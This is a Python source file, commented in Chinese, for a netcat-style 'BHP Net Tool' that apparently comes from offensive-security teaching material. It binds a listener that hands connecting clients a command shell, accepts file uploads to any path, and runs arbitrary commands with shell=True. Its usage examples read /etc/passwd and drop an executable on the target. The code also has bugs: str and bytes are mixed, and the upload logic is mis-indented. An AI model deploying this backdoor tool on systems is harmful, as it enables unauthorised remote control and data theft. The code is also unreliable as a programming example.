# -*- coding:utf-8 -*-
import sys
import socket
import getopt
import threading
import subprocess


# 全局变量
gl_listen = False
gl_command = False
gl_upload = False
gl_execute = ""
gl_target = ""
gl_upload_destination = ""
gl_port = 0


def usage():
    """
    打印工具帮助信息
    :return:
    """
    print('BHP Net Tool')
    print('Usage:bhpnet.py -t target_host -p port')
    print('-l --listen   - listen on [host]:[port] for incoming connections')
    print('-e --execute=file_to_run - execute the given file upon receiving a connections')
    print('-c --command    - initialize a command shell')
    print('-u --upload=destination -upon receiving connection upload a file and write to [destination]')
    print()
    print('Examples:')
    print('bhpnet.py -t 192.168.0.1 -p 5555 -l -c')
    print('bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe')
    print('bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat/etc/passwd\"')
    print('echo "ABCDEF" | ./bhpnet.py -t 192.168.11.12 -p 135')
    sys.exit(0)


def client_sender(buffer):
    """

    :param buffer:
    :return:
    """
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # 链接目标主机
        client.connect((gl_target, gl_port))
        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据传回
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            print(response)

            # 等待更多的输入
            buffer = input('')
            buffer += '\n'
            # 发送出去
            client.send(buffer.encode('utf-8'))
    except:
        print('Exception! Exiting')
        # 关闭链接
        client.close()


def server_loop():
    global gl_target
    #  如果没有定义目标，那么就监听所有接口
    if not len(gl_target):
        gl_target = '0.0.0.0'
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((gl_target, gl_port))
    server.listen(128)
    while True:
        client_socket, client_addr = server.accept()
        # 查分一个线程处理新的客户
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


def client_handler(client_socket):
    """

    :param client_socket:
    :return:
    """
    global gl_upload
    global gl_execute
    global gl_command
    # 检测上传文件
    if len(gl_upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data
    # 打印数据
    try:
        file_descriptor = open(gl_upload_destination, 'wb')
        file_descriptor.write(file_buffer)
        file_descriptor.close()
        # 确认文件已经写出
        client_socket.send('Successfully saved file to %s\r\n' % gl_upload_destination)
    except:
        client_socket.send('Filed to saved file to %s\r\n' % gl_upload_destination)
    # 检查命令执行
    if len(gl_execute):
        # 运行命令
        output = run_command(gl_execute)
        client_socket.send(output)
    # 如果需要一个命令行shell
    if gl_command:
        while True:
            # 弹出一个窗口
            client_socket.send('<BHP:#>')
            cmd_buffer = ""
            while '\n' not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
                # 返还命令输出
                response = run_command(cmd_buffer)
                client_socket.send(response)


def run_command(command):
    """
    运行命令
    :param command:
    :return:
    """
    # 换行
    command = command.rstrip()
    # 运行命令并输出
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = 'Failed to execute command.\r\n'
    return output


def main():
    """
    主控
    :return:
    """
    global gl_listen
    global gl_port
    global gl_execute
    global gl_command
    global gl_upload_destination
    global gl_target
    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu:', ['help', 'listen', 'execute', 'target', 'port', 'command', 'upload'])
    except getopt.GetoptError as err:
        print(str(err))
        usage()
    for o, a in opts:
        if o in ('-h', '--help'):
            usage()
        elif o in ('-l', '--listen'):
            gl_listen = True
        elif o in ('-e', '--execute'):
            gl_execute = a
        elif o in ('-c', '--commandshell'):
            gl_command = True
        elif o in ('-u', '--upload'):
            gl_upload_destination = a
        elif o in ('-t', '--target'):
            gl_target = a
        elif o in ('-p', '--port'):
            gl_port = int(a)
        else:
            assert False, "Unhandled Option"

    # 进行监听还是仅从标准输入发送数据
    if not gl_listen and len(gl_target) and gl_port > 0:
        # 从命令行读取内存数据
        # 这里将阻塞，所以不在向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        client_sender(buffer)

    # 开始监听并准备上传文件、执行命令
    # 放置一个反弹 shell
    # 取决于上面的命令行选项
    if gl_listen:
        server_loop()


if __name__ == '__main__':
    main()
